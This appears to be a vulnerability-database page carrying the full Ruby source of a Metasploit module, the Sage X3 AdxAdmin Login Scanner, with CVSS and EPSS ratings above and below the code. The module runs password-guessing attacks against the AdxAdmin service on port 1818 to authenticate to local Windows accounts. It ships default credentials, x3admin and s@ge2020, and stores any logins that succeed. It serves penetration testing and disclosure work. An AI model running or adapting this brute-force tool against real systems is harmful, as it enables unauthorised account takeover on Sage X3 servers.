Lucene search

K
metasploitJonathan Peterson <[email protected]>MSF:AUXILIARY-SCANNER-SAGE-X3_ADXSRV_LOGIN-
HistoryJul 21, 2021 - 1:07 a.m.

Sage X3 AdxAdmin Login Scanner

2021-07-2101:07:08
Jonathan Peterson <[email protected]>
www.rapid7.com
113

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

7.4 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

43.1%

This module allows an attacker to perform a password guessing attack against the Sage X3 AdxAdmin service, which in turn can be used to authenticate to a local Windows account. This module implements the X3Crypt function to ‘encrypt’ any passwords to be used during the authentication process, given a plaintext password.

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'metasploit/framework/login_scanner/x3'
require 'metasploit/framework/credential_collection'

class MetasploitModule < Msf::Auxiliary

  include Msf::Auxiliary::Scanner
  include Msf::Auxiliary::Report
  include Msf::Auxiliary::AuthBrute
  include Msf::Exploit::Remote::Tcp

  def initialize(_info = {})
    super(
      'Name' => 'Sage X3 AdxAdmin Login Scanner',
      'Description' => %q{
        This module allows an attacker to perform a password guessing attack against
        the Sage X3 AdxAdmin service, which in turn can be used to authenticate to
        a local Windows account.

        This module implements the X3Crypt function to 'encrypt' any passwords to
        be used during the authentication process, given a plaintext password.
      },
      'Author' => ['Jonathan Peterson <deadjakk[at]shell.rip>'], # @deadjakk
      'License' => MSF_LICENSE,
      'References' => [
        ['URL', 'https://www.rapid7.com/blog/post/2021/07/07/cve-2020-7387-7390-multiple-sage-x3-vulnerabilities/']
      ]
      )

    register_options(
      [
        Opt::RPORT(1818),
        OptString.new('USERNAME', [false, 'User with which to authenticate to the AdxAdmin service', 'x3admin']),
        OptString.new('PASSWORD', [false, 'Plaintext password with which to authenticate', 's@ge2020'])
      ]
    )

    deregister_options('BLANK_PASSWORDS')
  end

  def run_host(ip)
    cred_collection = build_credential_collection(
      blank_passwords: false,
      password: datastore['PASSWORD'],
      username: datastore['USERNAME']
    )

    scanner = Metasploit::Framework::LoginScanner::X3.new(
      configure_login_scanner(
        host: ip,
        port: rport,
        cred_details: cred_collection,
        stop_on_success: datastore['STOP_ON_SUCCESS'],
        bruteforce_speed: datastore['BRUTEFORCE_SPEED'],
        max_send_size: datastore['TCP::max_send_size'],
        send_delay: datastore['TCP::send_delay'],
        framework: framework,
        framework_module: self,
        local_port: datastore['CPORT'],
        local_host: datastore['CHOST']
      )
    )

    scanner.scan! do |result|
      credential_data = result.to_h
      credential_data.merge!(
        module_fullname: fullname,
        workspace_id: myworkspace_id
      )

      case result.status
      when Metasploit::Model::Login::Status::SUCCESSFUL
        print_brute(level: :good, ip: ip, msg: "Success: '#{result.credential}'")
        credential_core = create_credential(credential_data)
        credential_data[:core] = credential_core
        create_credential_login(credential_data)
        next
      when Metasploit::Model::Login::Status::UNABLE_TO_CONNECT
        vprint_brute(level: :verror, ip: ip, msg: "Could not connect: #{result.proof}")
      when Metasploit::Model::Login::Status::INCORRECT
        vprint_brute(level: :verror, ip: ip, msg: "Failed: '#{result.credential}'")
      end

      invalidate_login(credential_data)
    end
  end

end

5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

NONE

Availability Impact

NONE

AV:N/AC:L/Au:N/C:P/I:N/A:N

5.3 Medium

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

LOW

Integrity Impact

NONE

Availability Impact

NONE

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

7.4 High

AI Score

Confidence

Low

0.001 Low

EPSS

Percentile

43.1%